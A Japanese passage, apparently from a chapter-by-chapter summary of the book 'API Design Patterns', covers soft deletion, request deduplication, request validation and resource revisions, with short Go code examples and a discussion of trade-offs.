deletion」は、APIにおけるソフト削除の概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はソフト削除が単なるデータ管理の手法ではなく、APIの柔軟性、データの保全性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。ソフト削除の動機と概要著者は、ソフト削除の必要性から議論を始めています。従来のハード削除(データの完全な削除)には、誤って削除されたデータを復元できないという重大な欠点があります。著者は、この問題に対する解決策としてソフト削除を提案しています。ソフト削除は、データを実際に削除せず、「削除された」とマークすることで、必要に応じて後で復元できるようにする手法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが相互に依存し合う環境では、一つのサービスでデータが誤って削除されると、システム全体に波及的な影響を与える可能性があります。ソフト削除を適切に実装することで、このようなリスクを軽減し、システムの回復力を高めることができます。著者は、ソフト削除の基本的な実装として、リソースに deleted フラグを追加することを提案しています。このフラグにより、リソースが削除されたかどうかを示すことができます。さらに、expireTime フィールドを追加することで、ソフト削除されたリソースの自動的な完全削除(ハード削除)のスケジューリングも可能になります。ソフト削除の実装著者は、ソフト削除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの修正: 標準的なCRUD操作、特に削除(Delete)操作を修正し、ソフト削除をサポートする必要があります。リスト操作の調整: 標準的なリスト操作では、デフォルトでソフト削除されたリソースを除外し、オプションでそれらを含める機能を提供します。アンデリート操作: ソフト削除されたリソースを復元するための新しいカスタムメソッドを導入します。完全削除(Expunge)操作: ソフト削除されたリソースを完全に削除するための新しいカスタムメソッドを導入します。有効期限の管理: ソフト削除されたリソースの自動的な完全削除をスケジュールするための仕組みを実装します。これらの原則を適用した、Golangでのソフト削除の実装例を以下に示します。type Resource struct { ID string `json:\"id\"` Name string `json:\"name\"` Deleted bool `json:\"deleted\"` ExpireTime time.Time `json:\"expireTime,omitempty\"`}type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) Delete(ctx context.Context, id string) error Undelete(ctx context.Context, id string) error Expunge(ctx context.Context, id string) error}func (s *resourceService) Delete(ctx context.Context, id string) error { resource, err := s.Get(ctx, id) if err != nil { return err } resource.Deleted = true resource.ExpireTime = time.Now().Add(30 * 24 * time.Hour) // 30日後に自動削除 return s.update(ctx, resource)}func (s *resourceService) List(ctx context.Context, includeDeleted bool) ([]*Resource, error) { resources, err := s.getAll(ctx) if err != nil { return nil, err } if !includeDeleted { return filterNonDeleted(resources), nil } return resources, nil}この実装例では、Resource 構造体に Deleted フラグと ExpireTime フィールドを追加し、Delete メソッドでソフト削除を実装しています。また、List メソッドでは includeDeleted パラメータを使用して、ソフト削除されたリソースを含めるかどうかを制御しています。ソフト削除の影響とトレードオフ著者は、ソフト削除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。データストレージの増加: ソフト削除されたリソースはデータベースに残り続けるため、ストレージの使用量が増加します。これは、大規模なシステムでは無視できない問題となる可能性があります。パフォーマンスへの影響: ソフト削除されたリソースを除外するための追加的なフィルタリングが必要となるため、特にリスト操作のパフォーマンスに影響を与える可能性があります。複雑性の増加: ソフト削除を導入することで、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。データの整合性: ソフト削除されたリソースへの参照をどのように扱うかという問題があります。これは、特に複雑な関係性を持つリソース間で重要な課題となります。セキュリティとプライバシー: ソフト削除されたデータが予想以上に長く保持される可能性があり、これはデータ保護規制(例:GDPR)との関連で課題となる可能性があります。これらのトレードオフを適切に管理することが、ソフト削除の成功的な実装の鍵となります。例えば、ストレージとパフォーマンスの問題に対しては、定期的なクリーンアップジョブを実装し、長期間ソフト削除状態にあるリソースを自動的に完全削除することが考えられます。また、データの整合性の問題に対しては、関連リソースの削除ポリシーを慎重に設計し、カスケード削除やリファレンスの無効化などの戦略を適切に選択する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ソフト削除は、マイクロサービス間のデータ整合性を維持する上で重要な役割を果たします。例えば、あるサービスでソフト削除されたリソースが、他のサービスではまだ参照されている可能性があります。このような場合、ソフト削除により、サービス間の整合性を保ちつつ、必要に応じてデータを復元することが可能になります。イベント駆動アーキテクチャとの連携: ソフト削除、アンデリート、完全削除などの操作をイベントとして発行することで、関連するシステムコンポーネントが適切に反応し、全体的な一貫性を維持することができます。データガバナンスとコンプライアンス: ソフト削除は、データ保持ポリシーやデータ保護規制への対応を容易にします。例えば、ユーザーデータの「忘れられる権利」(GDPR)に対応する際、ソフト削除を活用することで、データを即座に利用不可能にしつつ、法的要件に基づいて一定期間保持することが可能になります。監査とトレーサビリティ: ソフト削除を実装することで、リソースのライフサイクル全体を追跡することが容易になります。これは、システムの変更履歴を把握し、問題が発生した場合のトラブルシューティングを容易にします。バックアップと災害復旧: ソフト削除は、誤って削除されたデータの復旧を容易にします。これは、特に重要なビジネスデータを扱うシステムにおいて、データ損失のリスクを大幅に軽減します。パフォーマンス最適化: ソフト削除の実装には、適切なインデックス戦略が不可欠です。例えば、deleted フラグにインデックスを作成することで、非削除リソースの検索パフォーマンスを維持することができます。ストレージ管理: ソフト削除されたリソースの自動的な完全削除(エクスパイア)を実装することで、ストレージ使用量を管理しつつ、一定期間のデータ復元可能性を確保できます。これは、コストとデータ保護のバランスを取る上で重要です。ソフト削除とシステムアーキテクチャソフト削除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: ソフト削除をサポートするために、全てのリソースに deleted フラグと expireTime フィールドを追加する必要があります。これは、データベーススキーマの設計に影響を与えます。クエリパフォーマンス: ソフト削除されたリソースを除外するために、ほとんどのクエリに追加の条件が必要になります。これは、特に大規模なデータセットでパフォーマンスに影響を与える可能性があります。適切なインデックス戦略が重要になります。バージョニングと互換性: ソフト削除の導入は、APIの大きな変更となる可能性があります。既存のクライアントとの互換性を維持しつつ、この機能をどのように導入するかを慎重に検討する必要があります。キャッシュ戦略: ソフト削除されたリソースのキャッシュ管理は複雑になる可能性があります。キャッシュの無効化戦略を適切に設計する必要があります。イベントソーシングとCQRS: ソフト削除は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと組み合わせることで、より強力になります。削除イベントを記録し、読み取りモデルを適切に更新することで、システムの柔軟性と一貫性を向上させることができます。結論第25章「Soft deletion」は、APIにおけるソフト削除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの保全性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ソフト削除は、データの誤削除からの保護と復元可能性を提供する重要な機能です。標準的なCRUD操作、特に削除とリスト操作を適切に修正する必要があります。アンデリートと完全削除(Expunge)のための新しいカスタムメソッドが必要です。ソフト削除されたリソースの自動的な完全削除(エクスパイア)を管理するメカニズムが重要です。ソフト削除の導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらの原則を適切に適用することで、開発者はより堅牢で柔軟性のあるAPIを設計することができます。特に、データの重要性が高いシステムや、複雑なデータ関係を持つシステムでは、ソフト削除の適切な実装が極めて重要です。しかし、ソフト削除の導入には慎重な検討も必要です。特に、パフォーマンス、ストレージ使用量、データの整合性、セキュリティとプライバシーの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ソフト削除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータの削除方法を変更するだけでなく、システム全体のデータライフサイクル管理、バックアップと復旧戦略、コンプライアンス対応、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。ソフト削除の適切な実装は、システムの回復力を高め、データ管理の柔軟性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。26 Request deduplication「API Design Patterns」の第26章「Request deduplication」は、APIにおけるリクエストの重複排除の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエストの重複排除が単なる最適化ではなく、APIの信頼性、一貫性、そして全体的なシステムの堅牢性にどのように影響を与えるかを明確に示しています。リクエスト重複排除の必要性と概要著者は、ネットワークの不確実性から議論を始めています。現代のシステム、特にクラウドネイティブな環境やモバイルアプリケーションにおいて、ネットワークの信頼性は常に課題となります。リクエストが失敗した場合、クライアントは通常リトライを行いますが、これが意図しない副作用を引き起こす可能性があります。特に非べき等なメソッド(例えば、リソースの作成や更新)では、同じ操作が複数回実行されることで、データの整合性が損なわれる可能性があります。この問題に対処するため、著者はリクエスト識別子(request identifier)の使用を提案しています。これは、クライアントが生成する一意の識別子で、APIサーバーはこの識別子を使用して重複リクエストを検出し、適切に処理します。この概念は、マイクロサービスアーキテクチャにおいて特に重要です。複数のサービスが協調して動作する環境では、一つのリクエストの失敗が連鎖的な影響を及ぼす可能性があります。リクエストの重複排除を適切に実装することで、システム全体の一貫性と信頼性を向上させることができます。著者は、リクエスト重複排除の基本的な流れを以下のように提案しています。クライアントがリクエスト識別子を含むリクエストを送信する。サーバーは識別子をチェックし、以前に処理されたかどうかを確認する。新しいリクエストの場合は通常通り処理し、結果をキャッシュする。重複リクエストの場合は、キャッシュされた結果を返す。この方法により、ネットワークの不確実性に起因する問題を軽減しつつ、クライアントに一貫した応答を提供することができます。リクエスト重複排除の実装著者は、リクエスト重複排除の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リクエスト識別子: クライアントが生成する一意の文字列。これは通常、UUIDやその他のランダムな文字列が使用されます。レスポンスのキャッシング: 処理されたリクエストの結果をキャッシュし、同じ識別子で再度リクエストがあった場合に使用します。一貫性の維持: キャッシュされた応答は、その後のデータの変更に関わらず、元のリクエスト時点の状態を反映する必要があります。衝突の管理: リクエスト識別子の衝突(異なるリクエストに同じ識別子が使用される場合)に対処するため、リクエストの内容も併せてチェックする必要があります。キャッシュの有効期限: キャッシュされた応答に適切な有効期限を設定し、メモリ使用量を管理します。これらの原則を適用した、Golangでのリクエスト重複排除の実装例を以下に示します。type RequestWithID struct { ID string `json:\"requestId\"` Payload interface{} `json:\"payload\"`}type ResponseCache struct { sync.RWMutex cache map[string]cachedResponse}type cachedResponse struct { response interface{} contentHash string expireTime time.Time}func (rc *ResponseCache) Process(req RequestWithID, processor func(interface{}) (interface{}, error)) (interface{}, error) { rc.RLock() cached, exists := rc.cache[req.ID] rc.RUnlock() if exists { contentHash := calculateHash(req.Payload) if contentHash != cached.contentHash { return nil, errors.New(\"request ID collision detected\") } return cached.response, nil } response, err := processor(req.Payload) if err != nil { return nil, err } rc.Lock() rc.cache[req.ID] = cachedResponse{ response: response, contentHash: calculateHash(req.Payload), expireTime: time.Now().Add(5 * time.Minute), } rc.Unlock() return response, nil}この実装例では、リクエスト識別子とペイロードを含むRequestWithID構造体を定義し、ResponseCache構造体でキャッシュを管理しています。Processメソッドは、重複チェック、キャッシュの取得または更新、そして実際の処理を行います。また、リクエスト識別子の衝突を検出するため、ペイロードのハッシュも併せて保存しています。リクエスト重複排除の影響とトレードオフ著者は、リクエスト重複排除の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。メモリ使用量: キャッシュの導入により、メモリ使用量が増加します。適切なキャッシュ有効期限の設定が重要です。一貫性と鮮度のバランス: キャッシュされた応答は、最新のデータ状態を反映していない可能性があります。これは、クライアントの期待と一致しない場合があります。複雑性の増加: リクエスト重複排除の実装は、APIの複雑性を増加させます。これは、開発とデバッグの難しさを増す可能性があります。パフォーマンスへの影響: キャッシュのチェックと管理にはオーバーヘッドがありますが、重複リクエストの処理を回避することでパフォーマンスが向上する可能性もあります。分散システムにおける課題: マイクロサービスアーキテクチャなどの分散システムでは、キャッシュの一貫性維持が複雑になります。これらのトレードオフを適切に管理することが、リクエスト重複排除の成功的な実装の鍵となります。例えば、キャッシュのパフォーマンスと一貫性のバランスを取るために、キャッシュ戦略を慎重に設計する必要があります。また、分散キャッシュシステム(例:Redis)の使用を検討し、マイクロサービス間でキャッシュを共有することも有効な戦略です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。耐障害性の向上: リクエスト重複排除は、ネットワークの一時的な障害やクライアントの予期せぬ動作に対するシステムの耐性を高めます。これは特に、金融取引や重要なデータ更新を扱うシステムで重要です。イベント駆動アーキテクチャとの統合: リクエスト重複排除は、イベント駆動アーキテクチャにおいても重要です。例えば、メッセージキューを使用するシステムで、メッセージの重複処理を防ぐために同様の技術を適用できます。グローバルユニーク識別子の生成: クライアント側でのユニークな識別子生成は、分散システムにおける重要な課題です。UUIDv4やULIDなどの効率的で衝突の可能性が低い識別子生成アルゴリズムの使用を検討すべきです。監視とオブザーバビリティ: リクエスト重複排除の効果を測定し、システムの挙動を理解するために、適切な監視とロギングが不可欠です。重複リクエストの頻度、キャッシュヒット率、識別子の衝突回数などの指標を追跡することで、システムの健全性を評価できます。セキュリティの考慮: リクエスト識別子の予測可能性や操作可能性に注意を払う必要があります。悪意のあるユーザーが識別子を推測または再利用することで、システムを悪用する可能性があります。キャッシュ戦略の最適化: キャッシュのパフォーマンスと鮮度のバランスを取るために、階層的キャッシュやキャッシュの事前読み込みなどの高度な技術を検討することができます。バージョニングとの統合: APIのバージョニング戦略とリクエスト重複排除メカニズムを統合する方法を考慮する必要があります。新しいバージョンのAPIで重複排除の実装が変更された場合、古いバージョンとの互換性をどのように維持するかを検討しなければなりません。リクエスト重複排除とシステムアーキテクチャリクエスト重複排除の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。分散キャッシュシステム: マイクロサービスアーキテクチャにおいては、中央集権的なキャッシュシステム(例:Redis)の使用を検討する必要があります。これにより、異なるサービス間でキャッシュ情報を共有し、システム全体の一貫性を維持できます。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、リクエスト重複排除メカニズムをより慎重に設計する必要があります。例えば、処理の開始時点でキャッシュエントリを作成し、処理の完了時に更新するなどの戦略が考えられます。フォールバック戦略: キャッシュシステムの障害に備えて、適切なフォールバック戦略を実装する必要があります。例えば、キャッシュが利用できない場合は、一時的に重複排除を無効にし、代わりにべき等性を保証する他の方法を使用するなどです。キャッシュの整合性維持: 分散システムにおいては、キャッシュの整合性を維持することが課題となります。イベントソーシングやCQRSなどのパターンを使用して、キャッシュの更新と実際のデータ更新を同期させる方法を検討する必要があります。スケーラビリティの考慮: リクエスト重複排除メカニズムがシステムのスケーラビリティのボトルネックにならないよう注意が必要です。負荷分散されたシステムでは、キャッシュの分散や複製を適切に設計する必要があります。結論第26章「Request deduplication」は、APIにおけるリクエスト重複排除の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの信頼性、一貫性、そして全体的なシステムの堅牢性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト重複排除は、ネットワークの不確実性に起因する問題を軽減し、非べき等な操作の安全性を向上させる重要なメカニズムです。クライアント生成のユニークな識別子と、サーバー側でのレスポンスキャッシングが、この実装の核心となります。キャッシュの一貫性、識別子の衝突管理、適切なキャッシュ有効期限の設定が、実装上の重要な考慮点となります。リクエスト重複排除の導入には、メモリ使用量の増加、複雑性の増加、一貫性と鮮度のバランスなどのトレードオフがあります。分散システムやマイクロサービスアーキテクチャにおいては、キャッシュの一貫性維持と分散が特に重要な課題となります。これらの原則を適切に適用することで、開発者はより信頼性が高く、一貫性のあるAPIを設計することができます。特に、ネットワークの信頼性が低い環境や、重要なデータ更新を扱うシステムでは、リクエスト重複排除の適切な実装が極めて重要です。しかし、リクエスト重複排除の導入には慎重な検討も必要です。特に、パフォーマンス、メモリ使用量、システムの複雑性の増加、セキュリティの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト重複排除の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの重複を防ぐだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト重複排除の適切な実装は、システムの回復力を高め、データの整合性を保護し、ユーザー体験を向上させる可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。さらに、リクエスト重複排除メカニズムは、システムの可観測性と運用性の向上にも貢献します。適切に実装されたリクエスト重複排除システムは、重複リクエストの頻度、パターン、原因に関する貴重な洞察を提供し、システムの挙動やネットワークの信頼性に関する問題を早期に検出することを可能にします。これらの情報は、システムの最適化や問題のトラブルシューティングに非常に有用です。最後に、リクエスト重複排除の実装は、APIの設計哲学と密接に関連しています。這いはクライアントとサーバーの責任分担、エラー処理戦略、リトライポリシーなど、APIの基本的な設計原則に影響を与えます。したがって、リクエスト重複排除メカニズムの導入を検討する際は、APIの全体的な設計哲学との整合性を慎重に評価し、必要に応じて調整を行うことが重要です。このような包括的なアプローチを取ることで、リクエスト重複排除は単なる技術的な解決策を超え、システム全体の品質と信頼性を向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より堅牢で効率的、そして信頼性の高いシステムを構築することができるでしょう。27 Request validation「API Design Patterns」の第27章「Request validation」は、APIにおけるリクエスト検証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト検証が単なる便利機能ではなく、APIの安全性、信頼性、そして全体的なユーザー体験にどのように影響を与えるかを明確に示しています。リクエスト検証の必要性と概要著者は、APIの複雑さとそれに伴う誤用のリスクから議論を始めています。最も単純に見えるAPIでさえ、その内部動作は複雑であり、ユーザーが意図した通りに動作するかどうかを事前に確認することは困難です。特に、本番環境で未検証のリクエストを実行することのリスクは高く、著者はこれを車の修理に例えています。素人が車をいじることで深刻な問題を引き起こす可能性があるのと同様に、未検証のAPIリクエストは本番システムに予期せぬ影響を与える可能性があります。この問題に対処するため、著者はvalidateOnlyフィールドの導入を提案しています。これは、リクエストを実際に実行せずに検証のみを行うためのフラグです。この機能により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題を事前に把握することができます。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが相互に依存し合う複雑なシステムでは、一つの誤ったリクエストが連鎖的に問題を引き起こす可能性があります。リクエスト検証を適切に実装することで、このようなリスクを大幅に軽減し、システム全体の安定性と信頼性を向上させることができます。著者は、リクエスト検証の基本的な流れを以下のように提案しています。クライアントがvalidateOnly: trueフラグを含むリクエストを送信する。サーバーはリクエストを通常通り処理するが、実際のデータ変更や副作用を伴う操作は行わない。サーバーは、実際のリクエストが行われた場合と同様のレスポンスを生成し、返却する。この方法により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題(権限不足、データの不整合など)を事前に把握することができます。リクエスト検証の実装著者は、リクエスト検証の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。validateOnlyフラグ: リクエストオブジェクトにオプションのブーリアンフィールドとして追加します。デフォルトはfalseであるべきです。検証の範囲: 可能な限り多くの検証を行うべきです。これには、権限チェック、データの整合性チェック、参照整合性チェックなどが含まれます。外部依存関係の扱い: 外部サービスとの通信が必要な場合、それらのサービスが検証モードをサポートしていない限り、その部分の検証は省略する必要があります。レスポンスの生成: 実際のリクエストと同様のレスポンスを生成すべきです。ただし、サーバー生成の識別子などの一部のフィールドは空白または仮の値で埋める必要があります。安全性とべき等性: 検証リクエストは常に安全(データを変更しない)かつべき等(同じリクエストで常に同じ結果を返す)であるべきです。これらの原則を適用した、Golangでのリクエスト検証の実装例を以下に示します。type CreateChatRoomRequest struct { Resource ChatRoom `json:\"resource\"` ValidateOnly bool `json:\"validateOnly,omitempty\"`}func (s *Service) CreateChatRoom(ctx context.Context, req CreateChatRoomRequest) (*ChatRoom, error) { if err := s.validateCreateChatRoom(ctx, req); err != nil { return nil, err } if req.ValidateOnly { return &ChatRoom{ ID: \"placeholder-id\", Name: req.Resource.Name, // その他のフィールド }, nil } // 実際のリソース作成ロジック return s.actuallyCreateChatRoom(ctx, req.Resource)}func (s *Service) validateCreateChatRoom(ctx context.Context, req CreateChatRoomRequest) error { // 権限チェック if err := s.checkPermissions(ctx, \"create_chat_room\"); err != nil { return err } // データ検証 if err := validateChatRoomData(req.Resource); err != nil { return err } // 外部依存関係のチェック(可能な場合) // ... return nil}この実装例では、validateOnlyフラグに基づいて実際の処理を行うかどうかを制御しています。検証フェーズは常に実行され、エラーがある場合は早期に返却されます。検証モードの場合、実際のリソース作成は行わず、プレースホルダーのレスポンスを返します。リクエスト検証の影響とトレードオフ著者は、リクエスト検証の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。複雑性の増加: リクエスト検証機能の追加は、APIの複雑性を増加させます。これは、実装とテストの負担を増やす可能性があります。パフォーマンスへの影響: 検証リクエストは、実際の処理を行わないため一般的に高速ですが、大量の検証リクエストがあった場合、システムに負荷をかける可能性があります。外部依存関係の扱い: 外部サービスとの連携が必要な場合、完全な検証が難しくなる可能性があります。これは、システムの一部の動作を正確に予測できなくなることを意味します。不確定な結果の扱い: ランダム性や時間依存の処理を含むリクエストの検証は、実際の結果を正確に予測することが難しい場合があります。これらのトレードオフを適切に管理することが、リクエスト検証の成功的な実装の鍵となります。例えば、外部依存関係の扱いについては、モックやスタブを使用して可能な限り現実的な検証を行うことが考えられます。また、不確定な結果については、可能な結果の範囲を示すなど、ユーザーに適切な情報を提供することが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。リスク管理とコスト削減: リクエスト検証は、本番環境での不適切なリクエストによるリスクを大幅に軽減します。これは、特に金融系のAPIや重要なデータを扱うシステムで非常に重要です。開発効率の向上: 開発者がAPIの動作を事前に確認できることで、開発サイクルが短縮され、品質が向上します。これは、特に複雑なマイクロサービス環境で重要です。ドキュメンテーションの補完: リクエスト検証は、動的なドキュメンテーションの一形態と見なすこともできます。開発者は、APIの動作を実際に試すことで、ドキュメントだけでは分かりにくい細かな挙動を理解できます。セキュリティの強化: 検証モードを使用することで、潜在的な脆弱性や不適切なアクセス試行を事前に発見できる可能性があります。これは、セキュリティ監査の一部として活用できます。運用の簡素化: 本番環境での問題を事前に回避できることで、インシデント対応の頻度が減少し、運用負荷が軽減されます。段階的なデプロイメント戦略との統合: 新機能のロールアウト時に、検証モードを活用して潜在的な問題を早期に発見することができます。これは、カナリアリリースやブルー/グリーンデプロイメントなどの戦略と組み合わせて効果的です。リクエスト検証とシステムアーキテクチャリクエスト検証の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。マイクロサービスアーキテクチャでの実装: 複数のサービスにまたがるリクエストの検証は、特に注意が必要です。サービス間の依存関係を考慮し、整合性のある検証結果を提供する必要があります。キャッシュ戦略: 検証リクエストの結果をキャッシュすることで、パフォーマンスを向上させることができます。ただし、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、検証モードの動作を慎重に設計する必要があります。例えば、非同期処理の予測される結果をシミュレートする方法を考える必要があります。モニタリングと可観測性: 検証リクエストの使用パターンや頻度を監視することで、APIの使用状況や潜在的な問題をより深く理解できます。これらの指標は、システムの最適化やユーザビリティの向上に活用できます。テスト戦略: リクエスト検証機能自体もテストの対象となります。特に、実際の処理と検証モードの結果の一貫性を確保するためのテスト戦略が重要です。結論第27章「Request validation」は、APIにおけるリクエスト検証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの安全性、信頼性、そして全体的なユーザー体験を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト検証は、APIの複雑さに起因するリスクを軽減する重要なメカニズムです。validateOnlyフラグを使用することで、ユーザーは安全にリクエストの結果をプレビューできます。検証リクエストは、可能な限り実際のリクエストと同様の処理を行いますが、データの変更や副作用を伴う操作は避けるべきです。外部依存関係や不確定な結果を含むリクエストの検証には特別な配慮が必要です。リクエスト検証の導入には、複雑性の増加やパフォーマンスへの影響などのトレードオフがありますが、それらを上回る価値を提供する可能性があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、重要なデータを扱うシステムや複雑なマイクロサービスアーキテクチャを採用している環境では、リクエスト検証の適切な実装が極めて重要です。しかし、リクエスト検証の導入には慎重な検討も必要です。特に、パフォーマンス、複雑性の管理、外部依存関係の扱いなどの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト検証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの安全性を向上させるだけでなく、システム全体の信頼性、運用効率、そして開発生産性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト検証の適切な実装は、システムの回復力を高め、開発サイクルを短縮し、ユーザー体験を向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で使いやすいシステムを構築することができるでしょう。特に、急速に変化するビジネス要件や複雑な技術スタックを持つ現代のソフトウェア開発環境において、リクエスト検証は重要な役割を果たす可能性があります。最後に、リクエスト検証は単なる技術的な機能ではなく、APIの設計哲学を反映するものでもあります。これは、ユーザーフレンドリーなインターフェース、透明性、そして予測可能性への commitment を示しています。適切に実装されたリクエスト検証機能は、API提供者とその消費者の間の信頼関係を強化し、より効果的なコラボレーションを促進します。この機能は、「フェイルファスト」の原則とも整合しており、問題を早期に発見し、修正するための強力なツールとなります。開発者は、本番環境に変更をデプロイする前に、その影響を安全に評価することができます。これにより、イテレーションのサイクルが短縮され、イノベーションのペースが加速する可能性があります。また、リクエスト検証は、APIのバージョニングや進化の戦略とも密接に関連しています。新しいバージョンのAPIをリリースする際、開発者は検証モードを使用して、既存のクライアントへの影響を事前に評価することができます。これにより、破壊的な変更のリスクを最小限に抑えつつ、APIを継続的に改善することが可能になります。さらに、この機能は、APIの教育的側面も持っています。開発者は、検証モードを通じてAPIの動作を実験的に学ぶことができ、これがドキュメントを補完する動的な学習ツールとなります。これは、API の採用を促進し、正しい使用法を奨励することにつながります。最終的に、リクエスト検証の実装は、API設計者がユーザーの視点に立ち、その経験を常に考慮していることを示す象徴的な機能と言えるでしょう。これは、単に機能を提供するだけでなく、ユーザーの成功を積極的に支援するという、より広範なAPI設計哲学の一部となります。このような包括的なアプローチを取ることで、リクエスト検証は単なる技術的機能を超え、APIの品質、信頼性、そして全体的な価値を大きく向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より使いやすく、信頼性が高く、そして継続的な進化が可能なAPIを構築することができるでしょう。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。28 Resource revisions「API Design Patterns」の第28章「Resource revisions」は、APIにおけるリソースのリビジョン管理の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソースリビジョンが単なる機能の追加ではなく、APIの柔軟性、データの整合性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。この章では、リソースの変更履歴を安全に保存し、過去の状態を取得または復元する方法について説明しています。具体的には、個々のリビジョンの識別方法、リビジョンの作成戦略(暗黙的または明示的)、利用可能なリビジョンのリスト化と特定のリビジョンの取得方法、以前のリビジョンへの復元の仕組み、そしてリビジョン可能なリソースの子リソースの扱い方について詳しく解説しています。リソースリビジョンの必要性と概要著者は、リソースリビジョンの必要性から議論を始めています。多くのAPIでは、リソースの現在の状態のみを保持し、過去の変更履歴を無視しています。しかし、契約書、購買注文書、法的文書、広告キャンペーンなどのリソースでは、変更履歴を追跡する必要性が高くなります。これにより、問題が発生した際に、どの変更が原因であるかを特定しやすくなります。リソースリビジョンの概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、各サービスが管理するリソースの変更履歴を適切に追跡し、必要に応じて過去の状態を参照または復元できることが、システム全体の一貫性と信頼性を確保する上で重要になります。著者は、リソースリビジョンの基本的な構造として、既存のリソースに2つの新しいフィールドを追加することを提案しています。revisionId: リビジョンの一意の識別子revisionCreateTime: リビジョンが作成された時刻これらのフィールドを追加することで、リソースの複数のスナップショットを時系列で管理できるようになります。これにより、リソースの変更履歴を追跡し、必要に応じて過去の状態を参照または復元することが可能になります。この概念を視覚的に表現するために、著者は以下のような図を提示しています。Figure 28.1 Adding support for revisions to a Message resourceこの図は、通常のMessageリソースにrevisionIdとrevisionCreateTimeフィールドを追加することで、リビジョン管理をサポートする方法を示しています。リソースリビジョンの実装著者は、リソースリビジョンの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リビジョン識別子: リビジョンの一意性を確保するために、ランダムな識別子(例:UUID)を使用することを推奨しています。これにより、リビジョンの順序や時間に依存せずに、各リビジョンを一意に識別できます。リビジョンの作成戦略: 著者は、暗黙的なリビジョン作成(リソースが変更されるたびに自動的に新しいリビジョンを作成)と明示的なリビジョン作成(ユーザーが明示的にリビジョンの作成を要求)の2つの戦略を提案しています。各アプローチにはそれぞれ長所と短所があり、システムの要件に応じて選択する必要があります。リビジョンの取得と一覧表示: 特定のリビジョンを取得するためのメソッドと、利用可能なリビジョンを一覧表示するためのメソッドの実装について説明しています。これらのメソッドにより、ユーザーはリソースの変更履歴を参照し、必要に応じて特定の時点の状態を取得できます。リビジョンの復元: 以前のリビジョンの状態にリソースを戻すための復元操作の実装方法を解説しています。この操作は、誤った変更を元に戻したり、特定の時点の状態に戻したりする際に重要です。子リソースの扱い: 